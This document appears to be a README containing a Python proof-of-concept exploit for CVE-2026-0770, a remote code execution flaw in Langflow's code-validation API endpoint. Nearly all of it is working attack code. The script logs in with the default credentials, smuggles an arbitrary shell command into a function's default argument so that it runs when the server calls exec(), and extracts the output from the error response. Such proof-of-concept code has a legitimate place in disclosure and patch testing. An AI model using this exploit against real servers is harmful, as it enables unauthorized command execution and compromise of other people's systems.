README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-0770 - Langflow exec_global RCE
Target: POST /api/v1/validate/code
Auth: Uses auto-login (AUTO_LOGIN=true is the default config)
"""
import requests
import argparse
def exploit(target_url: str, command: str, token: str = None) -> dict:
"""
Exploit RCE via /api/v1/validate/code endpoint.
Vulnerability: validate_code() in validate.py uses exec() on user code.
Trick: Default arguments are evaluated at function definition time,
so code in default args executes immediately when exec() runs the def.
"""
if not token:
print("[*] Attempting auto-login (default config)...")
try:
resp = requests.post(
f"{target_url}/api/v1/login",
data={"username": "langflow", "password": "langflow"},
timeout=10
)
if resp.ok:
token = resp.json().get("access_token")
print("[+] Auto-login successful!")
else:
print(f"[-] Auto-login failed: {resp.status_code}")
except Exception as e:
print(f"[-] Auto-login error: {e}")
# Payload: Default arg executes at definition time
# Generator throw() raises exception with command output
payload = f'''
def exploit(
_=( lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\\n{{r.stdout}}{{r.stderr}}")) )(
__import__('subprocess').run({repr(command)}, shell=True, capture_output=True, text=True)
)
):
pass
'''
headers = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = f"Bearer {token}"
print(f"[*] Executing: {command}")
resp = requests.post(
f"{target_url}/api/v1/validate/code",
json={"code": payload},
headers=headers,
timeout=30
)
return {"status": resp.status_code, "response": resp.json() if resp.ok else resp.text}
def parse_output(result: dict) -> str:
"""Extract command output from error response."""
try:
errors = result.get("response", {}).get("function", {}).get("errors", [])
for err in errors:
if "OUTPUT:" in err:
return err.split("OUTPUT:", 1)[1].strip()
return str(result)
except Exception:
return str(result)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Langflow RCE PoC")
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://localhost:7860)")
parser.add_argument("-c", "--command", default="id && whoami", help="Command to execute")
parser.add_argument("-k", "--token", help="JWT token (optional, uses auto-login by default)")
args = parser.parse_args()
print(f"[*] Target: {args.target}")
result = exploit(args.target, args.command, args.token)
print(f"[+] Status: {result['status']}")
print(f"[+] Output:\n{parse_output(result)}")